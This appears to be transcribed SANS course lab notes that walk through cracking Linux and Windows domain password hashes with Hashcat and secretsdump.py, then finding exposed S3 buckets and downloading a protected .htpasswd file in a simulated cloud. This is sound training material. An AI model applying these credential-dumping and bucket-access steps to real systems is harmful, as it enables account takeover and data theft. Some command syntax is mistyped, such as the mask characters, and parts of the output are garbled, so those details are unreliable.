* -a 0: Perform a *straight attack* (e.g., crack password hashes using a wordlist of password guesses)
* -m 1500: Use hash mode 1500 (DES crypt password hashes)
* Slingshot.hashes: read password hashes from the slingshot.hashes file (our copy of the /etc/shadow file)
* /usr/share/wordlists/passwords.txt: Use the words in /usr/share/wordlists/passwords.txt: Use the words in /usr/share/wordlists/passwords.txt as the source of password guesses.

*There’s a lot of output in this Hashcat command. We could add –quiet to the command line to limit the screen output Hashcat produces, but then we’d also lose performance statistics which are useful for monitoring Hashcat progress.*

In Hashcat’s output you will see several lines that look like this one:

*Hashfile ‘slingshot.hashes’ on line 1 (root:&ast;:18851:0:99999:7:::): Token length exception*

Token length exception is a warning from Hashcat indicating that it cannot parse a password hash for the specified hash mode. In this case, most of the warnings are from accounts that don’t have a password hash (such as the root account, shown here), so it’s OK to ignore these warnings.

*NOTE: In this example attack using the CPU in the virtual machine, we crack DES crypt password hashes at a rate of approximately 577,500 hashes/second. This is fairly slow for Hashcat, but expected since we are using a CPU in the Slingshot Linux virtual machine, not a GPU which will achieve far superior password cracking performance.*

**Show Cracked DES Crypt Password Hashes**

By removing the attack type (and accompanying password list) you have have seen the cracked password output, but we can retrieve that information later on with the Hashcat –show command. Run the Hashcat again to display the cracked passwords, as shown here.

sec504@slingshot:~$ hashcat -m 1500 slingshot.hashes –show

Hashfile ‘slingshot.hashes’ on line 1 (root:\*:18851:0:99999:7:::):

Token length exception

…

Z7KkOvKRMTMiPo: Spring23

f72BbWAtIrM0M: Qwertyu1

cmctU5L1QgXJs: 12345678

By removing the attack type (and accompanying password list) and adding –show, Hashcat will read from the list of cracked passwords and display the password hash and associated cracked password, separate by a colon.

sec504@slingshot:~$ hashcat -m 1500 slingshot.hashes –show –user

Hashfile ‘slingshot.hashes’ on line 1 (root:\*:18851:0:99999:7:::):

Token length exception

…

beva: Z7KkOvKRMTMiPo: Spring23

Jorestes: f72bBWAtlrM0M: Qwertyu1

Hrio: cmctU5L1QgXJs: 12345678

This output is more useful to us, since it allows us to quickly identify the username associated with each cracked password. One last cracked-password status command is –left, which shows remaining password hashes for the specified hash type. Press the up arrow to recall the previous command. Change the –show command to –left, as shown here.

sec504@slingshot:~$ hashcat -m 1500 slingshot.hashes –left –user

Hashfile ‘slingshot.hashes’ on line 1 (root:\*:18851:0:99999:7:::):

Token length exception

…

1renate: OfkLYWjUvn4uI

Rkaede: 6BQL6xH1yyWkk

Asayaka: GCjNGZqg.3KwA

Alucasta: 7Sn57hrGhb696

Using –show or –left we can see the progress and the remaining passwords or hashes. Adding –user also adds valuable information in both cases.

**Crack MD5 Crypt Password Hashes - Straight Attack**

Next, let’s continue to use Hashcat but change the hash mode to 500 to target the MD5 crypt hashes, as shown here.

sec504@slingshot:~$ hashcat -a 0 -m 500 slingshot.hashes /usr/share/wordlists/passwords.txt

Hashcat (v6.2.5) starting

OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]

==============================================================================

* Device #1: Intel ® Core(™) i9-9980HK CPU @2.40GHz, 1928/3921 MB

(490 MB allocatable), 2MCU

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

Hashfile ‘slingshot.hashes’ on line 1(root:\*:18851:0:99999:7:::):

Token length exception

…

$1$ IADGkpka$DWgUj8GN1Q8iWaMDOYPas1:M2u7s1h1ka

$1$1E2m./UJ$j.LzpA3cKmOxpBfDgmCOS.:Jordyn28

$1$yYq/mPAi$ZfWi/S6VDOPWnoyxw1SnO.:Sharks21

Approaching final keyspace - workload adjusted.

Session……..:hashcat

Status………..Exhausted

Hash.Mode….500 (md5crypt, MD5(Unix), Cisco-IOS $1$ (MD5))

Hash.Target….slingshot.hashes

Time.Started…Mon Jun 19 13:18:25 2023 (14 secs)

Time.Estimated.Mon Jun 19 13:18:39 2023 (0 secs)

Kernel.Feature..Pure Kernel

Guess.Base…...File (/usr/share/wordlists/passwords.txt)

Guess.Queue….1/1 (100.00%)

Speed.#1………:10519 H/s (10.96ms) @ Accel: 128 Loops: 500 Thr: 1

Vec: 8

Recovered: 3/6 (50.00%) Digests, 3/6 (50.00%) Salts

Progress….266724/266724 (100.00%)

Rejected….:0/266724 (0.00%)

Restore.Point…:44454/44454 (100.00%)

Restore.Sub.1.#1…:Salt: 5 Amplifier:0-1 Iteration:100-500

Candidate.Engine.: Device Generator

Candidates.#1……: 2w1q7890 -> @W!Q@W!Q

Started: Mon Jun 19 13:18:24 2023

Stopped: Mon Jun 19 13:18:40 2023

Let’s break down this command line by argument:

* Hashcat: Run the Hashcat command
* -a 0: Perform a *straight attack* (e.g. crack password hashes using a wordlist of password guesses)
* -m 500: Use hash mode 500 (MD5 crypt password hashes from the slingshot.hashes file (our copy of the /etc/shadow file)
* /usr/share/wordlists/passwords.txt: Use the words in /usr/share/wordlists/passwords.txt as the source of password guesses.

You will likely notice that Hashcat, while still successfully recovering passwords, takes longer to test all of the passwords in the passwords.txt wordlist file. In this attack example, my laptop acheived a rate of only 10,519 hashes/second. This is due to the change in selected hash mode, where MD5 crypt password hashes have 1,000 rounds of hashing per password, slowing down the attack.

*Question: Which usernames did Hashcat recover passwords for?*

After cracking passwords with Hashcat, you can use the –show command with list recovered passwords and the associated usernames. You will need to remove the attack mode argument with -a and the associated password list file. Run Hashcat again, specifying the MD5 crypt mode with the –user and –show arguments, as shown here.

sec504@slingshot:~$ hashcat -m 500 slingshot.hashes –show –user Hashfile ‘slingshot.hashes’ on line 1 (root:\*:18851:0:99999:7:::):

Token length exception

…

prosa:$1$yYq/mPAi$ZfWi/S6VDOPWnoyx21SnO.:Sharks21

ayoshie:$1$IADGkpka$DWgUj8GN1Q8iWaMDOYPas1:M2u7s1h1ka

Ejonah: $1$1E2m./UJ$j.LzpA3cKmOxpBfDgmCOS.:Jordyn28

*Answer: Hashcat recovered passwords for the prosa, ayoshie, and ejonah accounts. Question: Which usernames did Hashcat not recover passwords for?*

After cracking passwords with Hashcat, you can use the –left command with –user to list password hashes not yet cracked and the associated usernames. You will need to remove the attack mode argument with -a and the associated password list file. Run Hashcat again, specifying the MD5 crypt mode with the –left and –show arguments, as shown here.

sec504@slingshot:~$ hashcat -m 500 slingshot.hashes –left –user

*Answer: Hashcat has yet to recover passwords for the ghajsson, rlucian, and jviktori accounts.*

Next, we’ll look at applying similar Hashcat password cracking techniques to recover passwords from a Windows domain.

**Walkthrough - Attacking Windows Domain Passwords**

Next, let’s use Hashcat to evaluate the strength of Windows domain passwords using the Active Directory database (NTDS.dit) and the SYSTEM registry hive. You will use the [secretsdump.py](http://secretsdump.py) script to extract the plaintext password hashes, then use various invocations of Hashcat to recover plaintext passwords. From the terminal, change to the labs directory where the Wardrobe99 Active Directory backup files are saved.

sec504@slingshot:~$ cd ~/labs/Wardrobe99/

sec504@slingshot:~/labs/Wardrobe99/

Next, run the Impacket [secretsdump.py](http://secretsdump.py) tool to extract the password hashes and the password hash history, as shown here:

sec504@slingshot::~/labs/Wardrobe99$ [secretsdump.py](http://secretsdump.py) -system registory/SYSTEM -ntds “Active Directory/ntds.dit” LOCAL - outputfile w99 -history

*NOTE: An attacker may not choose to attack password history information, since historical passwords will not grant access to current systems. However, cracking historical passwords can be useful to identify patterns in password selection, and can be used to implement password reuse attacks.*

In addition to displaying the password hash information on the screen, [secretsdump.py](http://secretsdump.py) will also write the hash data to the w99.ntds file, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ ls w99\*

W99.ntds w99.ntds.cleartext w99.ntds.kerberos

We’ll focus on the password hashes in the w99.ntds file.

**Examine Password Hashes**

Before starting to crack passwords, examine the password hash for LANMAN password hashes. We can use an awk command with the Linux sort and uniq utilities to count how many unique LANMAN password hashes are present in the w99.ntds, file as shown here.

sec504@slingshot:~/labs/Wardrobe99$ cat w99.ntds | awk -F: ‘{print $3}’ | sort | uniq -c

2258 aad3b435b51404eeaad3b435b51404ee

Let’s break down this command step by step:

* Cat w99.ntds: Display the contents of the w99.ntds file with the hashes
* Awk -F ‘{print $3}’: Using colon delimiters, display the third column of information from the file (the LANMAN hash)
* Sort: Sort the results
* Uniq -c: Make the results unique, with a count for repeated occurrences.

The result is only a single hash, the empty LANMAN password value *aad3b435b51404eeaad3b435b51404ee.* This tells us that we don’t need to try any LANMAN password cracking and can focus our assessment on NT hashes alone.

**Remove Machine Accounts**

The w99.ntds file has NT passwords for all domain users, but it also includes *machine account* passwords. These are 120 character passwords that are randomly selected and frequently changed within the domain. It is not likely we will crack these passwords, so it is a good idea to exclude them from the password hash list to optimize Hashcat efficiency. Machine account names end in $ followed by the colon delimiter. Remove these accounts using sed, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ sed -i ‘/$:/d’ w99.ntds

sec504@slingshot:~/labs/Wardrobe99$

*Note that there will be no output on the screen from this sed command.*

**Check NT Passwords - Basic Wordlist**

Next, start Hashcat to crack the NT passwords using hash mode autodetect with attack type zero: a wordlist attack. Use the wordlist file in /usr/share/wordlist/passwords.txt to start, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ hashcat -a 0 w99.ntds /usr/share/wordlists/passwords.txt

In just a few seconds, Hashcat reports that it has recovered 45 passwords of the 1845 in the w99.ntds file.

**Examining Cracked Passwords**

Like we saw with the Slingshot passwords, we can examine the cracked passwords again with Hashcat’s –show command. Run Hashcat with the –show and –user arguments, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ hashcat w99.ntds –show –user

Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:

1000 | NTLM | Operating System

Note: auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.

Eflint\_history0: 178fee8517e2c368c788eec392940845:Monica15

Jbonar:64f12cddaa88057e06a81b54e73b949b: Password1

Jbonar\_history0: 64f12cdddaa88057e06a81b54e73b949b: Password1

Jbonar\_history1: c4b0e1b10c7ce2c4723b4e2407ef81a2: Password3

…

Lholt: c39f2beb3d2ec06a62cb887fb391dee0: Password2

Lholt\_history0: c4b0elb10c7ce2c4723b4e2407ef81a2: Password4

Lholt\_history1: 7247e8d4387e76996ff3f18a34316fdd: Password3

Lholt\_history2: 64f12cddaa88057e0681b54e73b949b: Password1

Kd ‘oily <...SNIPPED…>

…

(13 more rows)

*Notice how many of the user accounts have the suffix \_history, followed by a number. This is the convention used by* [*secretsdump.py*](http://secretsdump.py) *to represent historical passwords collected from the NTDS data in a format that can easily processed by Hashcat.*

In this output Hashcat shows us the username, followed by the NT hash, followed by the cracked password. From the recovered passwords, we can see a common pattern across historical passwords (*PasswordN* where *N* is a repeating or an incrementing number). In addition to the weak passwords themselves, this indicates a poorly-enforced password policy where users are able to reuse passwords even when forced to choose a new password.

**Crack NT Passwords - Mask Attack**

Hashcat’s *mask attack* is a powerful feature where you can describe the format of passwords to crack, and Hashcat will try all possible permutations of passwords that match the specified mask. *NOTE: When using a mask attack, you do not specify a wordlist file, since the mask replaces the need to replace a wordlist.*

Since we know the Wardrobe99 passwords come from a Windows Active Directory domain, we can assume a basic password policy that meets at least the minimum requirements for Windows passwords, namely:

* At least 8 characters in length
* At least one uppercase letter
* At least one lowercase letter
* At least one digit

Given this set of rules for choosing passwords, users will often choose passwords that use an initial uppercase letter, followed by several lowercase letters, with a trailing digit, for a total of 8 characters. Not all users will do this, but we can use this basic pattern with Hashcat to specify a mask and test for passwords that match this basic pattern without using a wordlist file. With Hashcat, the mask attack uses markers to specify the format of a password position.

* ?1 = abcdefghijklmnopqrstuvwxyz
* ?2 = ABCDEFGHIJKLMNOPQRSTUVWXYZ
* ?d = 0123456789
* ?s = !”#$&’()\*+,-./:;<=>?@[]^\_’{|}~
* ?a = ?|?u?d?s
* ?b = 0x00-0xff

Let’s try a common mask attack against the Wardrobe99 passwords. Repeat the previous Hashcat command, changing the attack mode to type 3 and removing the wordlist file. In place of the wordlist file, specify a mask to crack all passwords consisting of an initial uppercase letter followed by 6 lowercase letters and one trailing digit, as shown here.

sec504@slingshot:~:/labs/Wardrobe99$ hashcat -a 3 w99.ntds ?u?1?1?1?1?1?1?d

Hashcat (v6.2.5) starting in autodetect mode

…

4ab1d71f9e019089fe2872dc46826c4: Heather1

4209e809f59ff345e44030d425dc0dad: Brandon1

B4a275e89f8c44988a2e38ee67aa0f8f6: Monster1

Aa9130f99fe92ab820b99a679e959a81: Caitlan1

…

While Hashcat is running, you will see a menu of available options that matches the example below:

[s] tatus [p] ause [b] ypass [c] checkpoint [f] inish [q] uit =>

This menu allows you to enter any of the emphasized letters in [] to control Hashcat while it is password cracking:

* \*[s]\*tatus: Display a status summary of Hashcat progress and performance
* \*[p]\*ause: Pause Hashcat until directed to resume cracking
* \*[b]\*ypass: Bypass the current attack and continue (only applicable with multiple attack types)
* \*[c]\*heckpoint: Write a checkpoint status to allow for stopping and resuming Hashcat at a later time, then stop cracking
* \*[f]\*inish: Finish the current attack, then exit Hashcat (only applicable with multiple attack types)
* \*[q]\*uitL Immediately quit Hashcat

Press s to observe Hashcat’s current password cracking status. Your output will look similar to the example shown here.

*NOTE: This command only may take 10 minutes or more to complete, depending on the speed of your host system. Feel free to press q at any time to terminate Hashcat after cracking a few passwords. You do not need to wait for Hashcat to finish the mask attack to complete the lab exercise.* A couple of key fields I have chosen below:

Guess.Mask…….:?u?1?1?1?1?1?d [8]

Vec: 8

Candidates.#1…..:Rywdrja1 -> Vgwuzfe1

The mask value ?u?1?1?1?1?1?d recovers an additional 83 passwords from the list of hashes (Hashcat recovers 410 user passwords, but since many passwords are repeated Hashcat counts only each unique password value). In practice, attackers will try several permutations of mask attacks, changing the mask to reflect other common password selection patterns to recover even more passwords.

**Crack NT Passwords - Wordlist & Rules**

So far we’ve looked at a basic wordlist attack and the Hashcat mask attack. Another technique to recover passwords is to leverage a straight (wordlist) attack with a *rules* file. The rules file will specify wordlist permutations that follow common password selection tactics. From your terminal, press the up arrow several times to return to the previous straight attack (-a 0) with the ~/labs/hashcat/wordlist.txt. Add the argument -r /opt/hashcat/rules/best64.rule, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ hashcat -a 0 w99.ntds /usr/share/wordlists/passwords.txt -r /opt/hashcat/rules/best64.rule… hashcat(v6.2.5) starting in autodetect mode

…

C4f34b79030a4329c7929a71c79baf38: Sunshine1

A242ea4fbd87f0feff1203bad168b880: Princess1

cf940d8787c956685a31e0192cf5317e:Shannon91

8e35203e435f97ae0970dbda5472f000: Puppies11

Dbfebcd2aaaf5983b1747f8b3566dd04: Bubbles224

8949f50780328679b681e53de6559154: iloveyou2

0c38c0af6b34e2a0c23b647caec172cd: Allie123

21775f4fcc637448cecbc8309869474b: Dolphins1

59dff1d20b570d4e9bf6b08a285af66: ZAQ!1qaz

A19b100be17fdefd8a1008cc1c3db92e: Password48

Approaching final keyspace - workload adjusted.

Candidates.#1….: $R#Ei8u7 -> [SANS GCIH - open book notes if I get to keep my exam spot(s)](https://docs.google.com/document/u/0/d/1AiepFU2sR6NC_SCoJBdQGtkHRnTi8dJbLPAqyvCMIQQ/edit)

Started: Mon Jun 19 14:48:07 2023

Stopped: Mon Jun 19 14:48:11 2023

The best64 rule will take each word in the wordlist file and apply 64 permutations, testing each permutation to see if it matches the target hash. These permutations include reversing the password, making all letters uppercase, toggling all capitalization, appending a single digit, appending multiple digits, and more. For the Wardrobe99 domain, this reveals another 10 user passwords.

*TIP: Hashcat offers several rules files in addition to the best64 rules. Feel free to experiment with any of the other rules in /opt/hashcatrules to try and recover additional passwords.*

**Cleanup**

At the end of this lab, you can delete the files generated during the lab steps, as shown here.

sec504@slingshot:~/labs/Wardrobe99$ rm ~/slingshot.hashes

sec504@slingshot:~/labs/Wardrobe99$

Finally, remove the temporary users added at the beginning of the lab:

sec504@slingshot:~/labs/Wardrobe99$ sudo deltmpusers

Removing users…done.

**Why This Lab is Important**

This lab illustrates the tactics an attacker can apply to recover passwords from a Windows domain using Hashcat. Although we presented these steps from the perspective of an attacker, these same steps can be applied by defenders to audit password selection for users in the domain as well.

**Bonus (If Time Permits or Homework)**

**Additional Windows Password Hash Attacks**

Consider applying additional attack techniques to recover more Windows domain passwords using the w99.ntds file. Some ideas might include:

* Consider performing a *Hybrid Wordlist + Mask* attack (-a 6), adding two digits to the end of each password in the /usr/share/wordlists/passwords.txt file.
* Consider repeating the mask attack, but using slightly different mask values:
  + Uppercase, 5 lowercase, 2 digits, ?u?1?1?1?1?d?d
* Uppercase, lowercase, 6 digits: ?u?1?d?d?d?d?d?d
* Digit, uppercase, 6 lowercase: ?d?u?1?1?1?1?1?1
* Uppercase, 7 lowercase, 1 digit: ?u?1?1?1?1?1?1?1?d (Note that this will take 5-6 hours to complete)

**Additional Resources**

* Hashcat website (https://hashcat.net/hashcat/)
* Hashcat Twitter Feed (<https://twitter.com/hashcat>)
* Hashcat Forum (<https://hashcat.net/forum/>)

**Lab 3.4: Cloud Bucket Discovery**

**Brief Intro**

In this lab, you will use the simulated cloud environment to identify and assess the threat of misconfigured cloud storage buckets.

**Requirements for This Lab**

In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.

**Try It Yourself**

Run gos3 to setup the target environment. Navigate to [www.falsimentis.com](http://www.falsimentis.com) to identify S3 bucket services linked to the website. Manually interact with the simulated cloud service using the AWS command line tool and bucket\_finder. Generate bucket name lists using the files in ~/labs/s3, as well as the output of a wordlist generated by CeWL by crawling [www.falsimentis.com](http://www.falsimentis.com)

**Start the Simulated Cloud Service**

From the Slingshot Linux terminal, run gos3 to launch the simulated cloud environment, as shown here.

sec504@slingshot:~/labs$ gos3

Starting Docker service… Done.

Starting container instance for [www.falsimentis.com](http://www.falsimentis.com)

WARNING: Your kernel does not support swap limit capabilities or the cgroup is not mounted. Memory limited without swap. 791093fe3513cd0597ed76a2f22824934581c11b9d86bab81d86bab81d4fe25a7a98508. WARNING: Your kernel does not support swap limit capabilities or the cgroup is not mounted. Memory limited without swap. Starting container instance for [s3.amazonaws.com](http://s3.amazonaws.com) d9970f06ac9a9e4183af0472bb22cbdf145989118f5ca462773f7683c125dd41f

*NOTE: You can safely ignore the warning shown when running the gos3 command.*

**Examine AWS Credentials**

We have preconfigured Slingshot Linux with simulated AWS credentials. From your terminal, display the contents of the ~/.aws/credentials file, as shown here.

The credentials here do not represent special access to the cloud S3 service; like an attacker would have, these credentials represent AWS access for their own services. In the lab we will use these credentials to also access other S3 services for public endpoints. In the lab we will use these credentials to also access other S3 services for public endpoints.

**Make a Bucket**

First, let’s take a look at how we can interact with AWS S3 services using the AWS command line tool aws. The AWS command line tool allows us to interact with S3 buckets similar to how we work with local file systems. You can use the aws utility with the s3 argument to specify an S3 operation such as creating a bucket (mb), listing files (ls), copying files, moving files (mv) and more. First, create a new bucket called *mybucket* running the AWS command line tool as shown here.

sec504@slingshot:~$ aws s3 mb s3://mybucket

When we run this command we receive an error message that the bucket *mybucket* already exists. This illustrates an important concept when working with cloud bucket storage services. *The bucket namespace is shared by all* [*users*](http://users.in). In other words, the name of the buckets must be globally unique for cloud storage services. You cannot have two buckets called mybucket even if owned by different people; all S3 bucket names must be globally unique. Re-run the prior command, this time changing the name of your bucket to *mybucket2*, as shown here.

sec504@slingshot:~$ aws s3 mb s3://mybucket2

Make\_bucket: mybucket2

**Upload a file to the Bucket**

Next we’ll upload a file to store in the new S3 bucket. First, create a text file that includes the output of the ps -ef command by redirecting the command to a file, as shown here.

sec504@slingshot:~$ ps -ef > pslist.txt

sec504@slingshot:~$

*NOTE: The content of the file isn’t important; we just need a file to try and copy the S3 bucket.*

Next, copy the the file from the local file system to the S3 bucket, as shown here.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://mybucket2/

Upload: ./pslist.txt to s3://mybucket2/pslist.txt

The aws command breaks down as follows:

* Aws: Run the AWS command line tool
* S3: Tell the AWS command line tool to interact with S3 cloud storage bucket services
* Cp: Run the *copy* S3 operation
* Pslist.txt: Copy the pslist.txt file; this file is the *source*
* s3://mybucket2: Copy to the S3 bucket *s3://mybucket2/; this is the destination*

*NOTE: For the destination URI, we included a trailing /; this is not required since the copy procedure will add one automatically, but it helps to illustrate that the target S3 URI can be a bucket name by itself, or it can be a complete file path (e.g., you could specify a target URI of s3://mybucket2/dir1/dir2/pslist.txt and the S3 service will create the appropriate directories accordingly.*

**List the Bucket**

Next, list the bucket to see the copied file, as shown here.

sec504@slingshot:~$ aws s3 ls s3://mybucket2

2021-05-09 11:59:22 12627 pslist.txt

Success!

*NOTE: The aws command has other features as well. To learn more about the AWS command line tool and the S3 bucket features you can examine the built-in documentation by running aws s3 help.*

Next, we’ll apply what we’ve learned to evaluate the S3 buckets used by Falsimentis Corporation.

**Reconnaissance Analysis**

As we saw in book 2 of our class material, attackers will start with reconnaissance analysis to collect information about a target orgnaization prior to delivering an attack. This also applies to cloud systems, where attackers can often gain insight about cloud infrastructure in use by visiting websites used by the target organization. From Slingshot Linux, open Firefox by clicking Applications | Internet | Firefox Web Browser. Navigate to the Falsimentis website at <http://www.falsimentis.com>.

From the main website page, navigate to the About link. Scroll to the section *Meet Our CEO*, and move your pointer over the *Download Company Profile* button, as shown here. Notice how the link to the company profile uses a different URL: [*http://www.falsimentis.com.s3.amazonaws.com/company-profile.pdf*](http://www.falsimentis.com.s3.amazonaws.com/company-profile.pdf)

Many websites will use cloud bucket storage services to offload the distribution of static assets to a cloud provider, or use the bucket to host the website static pages. For AWS, buckets can be confiugred such that visiting [bucketname.s3.amazonaws.com](http://bucketname.s3.amazonaws.com) will allow for public access to the S3 bucket. In the case of Falsimentis website, the link to [www.falsimentis.com.s3.amazonaws.com](http://www.falsimentis.com.s3.amazonaws.com) reveals the presence of an S3 bucket named [www.falsimentis.com](http://www.falsimentis.com); list the contents of the bucket as shown here.

sec504@slingshot:~$ aws s3 ls s3://[www.falsimentis.com](http://www.falsimentis.com)

*The S3 listing identifies several objects with the PRE prefix. PRE indicates a prefix name, used for organizing resources. The PRE objects here are directories where additional files are stored.*

Here we see that the AWS command line tool is able to access the [www.falsimentis.com](http://www.falsimentis.com) bucket, revealing to us that the bucket is configured for public access. On the surface, this may seem obvious, since it appears that the [www.falsimentis.com](http://www.falsimentis.com) bucket is also used to host the company website (judging by the index.html and other web server files). However, access to the website through the S3 service can reveal additional files and access not available by browsing the website. In this output we see several directories, including one labeled protected. Next we’ll examine the protected directory.

**Browse to Protected Discovery**

Return to Firefox and navigate to the <http://www.falsimentis.com/protected> directory, as shown here.

When we try to access the [www.falsimentis.com/protected](http://www.falsimentis.com/protected) endpoint we are asked to authenticate to the system. Here we learn that the web administrator is trying to protect access to the server, requiring a username and password to access the resources. However, our S3 access using the S3 command line utility does not access the server using the same HTTP access mechanism that Firefox uses, allowing us to circumvent this control.

**Access the Bucket, List /protected**

Return to your terminal. Re-run the prior aws s3 command to access the /protected folder, as shown here. *NOTE: The trailing / in the S3 URI is necessary to examine the contents of the directory, not the directory itself.*

Here we see the contents of the protected directory, disclosing the .htpasswd file (the server file used to store the username and password information to access the protected portion of the website0 and a JSON file, sales-status.json

**Access the Bucket** [**www.falsimentis.com**](http://www.falsimentis.com) **(**[**http://www.falsimentis.com**](http://www.falsimentis.com)**): Download /protected**

sec504@slingshot:~$ aws s3 sync s3://[www.falsimentis.com/protected](http://www.falsimentis.com/protected) protected/

Download: s3://[www.falsimentis.com/protected/sales-status.json](http://www.falsimentis.com/protected/sales-status.json) to protected/sales-status.json download: s3://[www.falsimentis.com/protected/.htpasswd](http://www.falsimentis.com/protected/.htpasswd) to protected/.htpasswd

After a few seconds the synchronize command will complete. List all of the files in the protected directory, as shown here.

sec504@slingshot:~$ ls -a ~/protected

. .. .htpasswd sales-status.json

**Bucket Discovery, Short List**

In the [www.falsimentis.com](http://www.falsimentis.com) bucket example, we identified the S3 bucket through the PDF link on the main website. Attackers can also use *bucket name guessing* attacks to discover buckets as well. In the remainder of the lab we’ll use the *bucket\_finder* tool by Robin Wood to identify public and private S3 buckets in our simulated cloud. This process can also be applied to Azure Blob and Google Compute Buckets as well as by using bucket discovery tools designed for those cloud platforms. When using a bucket name guessing tool, an attacker will supply a list of bucket names, and the tool will attempt to discover if the name exists as a bucket, and evaluate the security associated with the bucket as well. Let’s start with a small example. First, display the contents of the ~/labs/s3/shortlist.txt file using cat, as shown here.

sec504@slingshot:~$ cat ~/labs/s3/shortlist.txt

Mybucket

Mybucket2

Sans

This file has only three bucket names: *mybucket* (a bucket that we know already exists), *mybucket2* (the bucket you created), and *sans* (we don’t know yet if this bucket exists). Run the bucket\_finder.rb script, specifying the list of buckets as the only command line argument, as shown here.

sec504@slingshot:~$ bucket\_finder.rb ~/labs/s3/shortlist.txt

Bucket found but access denied

Bucket found but access denied

Bucket does not exist

In this output we see that the tool has correctly reported that *mybucket* and *mybucket2* exist, and that the bucket *sans* does not exist.

*Note that bucket\_finder indicates that my\_bucket2 returns access denied when the tool tries to list the files in the bucket. This is another important concept to understand: the bucket discovery tools do not use the permissions of your user account to enumerate buckets; they only use public access methods to determine if the buckets exist, and attempt to retrieve data from accessible buckets.*

**Bucket Discovery, Longer List**

Repeat the attack using bucket\_finder, this time using a longer list of bucket names supplied in ~/labs/s3/bucketlist.txt. Save the output of bucket\_finder to a file named bucketlist1-output.txt using the tee command, as shown here.

sec504@slingshot:~$ wc -l ~/labs/s3/bucketlist.txt

1544 /home/sec504/labs/s3/bucketlist.txt

sec504@slingshot:~$ bucket\_finder.rb ~/labs/s3/bucketlist.txt | tee bucketlist1-output.txt

sec504@slingshot:~$ wc -l ~/labs/s3/bucketlist.txt

1544 /home/sec504/labs/s3/bucketlist.txt

sec504@slingshot:~$ bucket\_finder.rb ~/labs/s3/bucketlist.txt | tee bucketlist1-output.txt

Bucket does not exist… (12 lines)

sec504@slingshot:~$ bucket\_finder.rb ~/labs/s3/bucketlist.txt | tee bucketlist1-output.txt

The bucket\_finder.rb command breaks down as follows:

* Bucket\_finder.rb: Run the bucket\_finder tool
* ~/labs/s3/bucketlist.txt: Test each line in the file as a possible bucket
* | tee: Pipe the output from bucket\_finder to tee, which will display the output and show to a file.
* bucketlist1-output.txt : Save the duplicate output of bucket\_finder to the file bucketlist1-output.txt

When running the bucket\_finder tool you will see the message *Bucket does not exist…* repeat often. The tool tests so many buckets that you can easily miss output that indicates the discovery of actual buckets.

To eliminate the messages where a bucket was not identified, assess the bucketlistls.txt file using grep, as shown here.

sec504@slingshot:~$ grep -v “does not exist” bucketlist1-output.txt

Bucket found but access denied: certificates

Bucket found but access denied: cust

Bucket found but access denied: dev

Bucket Found: movies (<http://s3.amazonaws.com/movies>) http://s3.aamazonaws.com/movies/movies.json

Bucket found but access denied: prod

By filtering the results to show lines that do not match *does not exist*, we see more meaningful results. Here we learn about the presence of five new S3 buckets. Four of the buckets are private, but the *movies* bucket also appears to be publicly accessible. Bucket\_finder will display a list of the files in the bucket when it discovers a public bucket, allowing us to discover the presence of the movies.json file in the bucket. For cloud bucket discovery, an attacker can use a list of bucket names, and identify the buckets that exist and those that exist and are publicly accessible. While useful, this is a non-targeted attack: the buckets identified do not necessarily belong to Falsimentis Corporation. To improve the results of the search, while targeting Falsimentis Corporation, we will need to create a custom list of bucket names to test.

**Create a Custom Wordlist**

To create a custom list of bucket names, we will use the company name as a possible bucket prefix (*falsimentis)*, appending common bucket suffixes in the file. ~/labs/s3/permutations.txt. Examine the first few lines of this file, then generate a custom list using awk, as shown here:

The awk command breaks down as follows:

* Awk: Run the awk command.
* ‘{print “falsimentis-” $1}”: The awk program within single quotes and curly brackets: print the string “falsimentis-” as the prefix before the first column of each line in the file ($1), this print command repeats for each line in the file ($1); this print command repeats for each line in the specified file.
* ~/labs/s3/permutations.txt: The specified file that is used to substitute each line with the $1 marker in the awk program.
* > bucketlist2.txt: Redirect the output of the awk program print statement to the specified file.

We can verify that the awk command ran correctly by examining the output file contents and counting the number of lines in the program, as shown here.

sec504@slingshot:~$ head bucketlist2.txt

Falsimentis-001

Falsimentis-002

<..SNIPPED..>

sec504@slingshot:~$ wc -l bucketlist2.txt

202 bucketlist2.txt

**Bucket Discovery, Custom List**

Repeat the bucket\_finder attack, this time using the bucketlist2.txt file, as shown here.

sec504@slingshot:~$ bucket\_finder.rb bucketlist2.txt | tee bucketlist2-output.txt

Bucket does not exist: falsimentis-001

Bucket does not exist: falsimentis-002

<..SNIPPED..>

sec504@slingshot:~$ grep -v “ does not exist” bucketlist2-output.txt

Bucket found but access denied: falsimentis-eng

Here we have discovered a new bucket, this time likely one that is used by Falsimentis named *falsimentis-eng*. This bucket is also protected though, preventing us from accessing it. Next we’ll try another technique to build a custom wordlist: CeWL website crawling.

**Bucket Discovery, CeWL List**

CeWL is a custom wordlist generator, also written by Robin Wood. CeWL crawls a target website and extracts keywords from the website content and document metadata to produce a wordlist. This is useful for an attacker since it will include keywords relating to company projects, products, and other vocabulary. Run CeWL against [www.falsimentis.com](http://www.falsimentis.com) (<http://www.falsimentis.com>) website, as shown here.

sec504@slingshot:~$ /opt/cewl/[cewl.rb](http://cewl.rb) -m 2 -w cewl-output.txt <http://www.falsimentis.com> CeWL 5.5.0 (Grouping) Robin Wood (robin@digi.ninja)(<https://digi.ninja>)

The [cewl.rb](http://cewl.rb) command breaks down as follows:

* /opt/cewl/[cewl.rb](http://cewl.rb): Launch the CeWL utility.
* -m 2: Specify the minimum word length of 2 characters (default is 3, reducing the length to two characters is useful for creating bucket prefix/suffix lists)
* -w cewl-output.txt: Write the collected keywords to the named file
* <http://www.falsimentis.com> Crawl the [www.falsimentis.com](http://www.falsimentis.com) site for content (default: spider up to 2 links deep on the site)

Amazon S3 bucket names can only be lowercase letters, numbers, dots or hyphens. To make the CeWL wordlist useful, convert each of the uppercase letters to lowercase using the tr utility, as shown here.

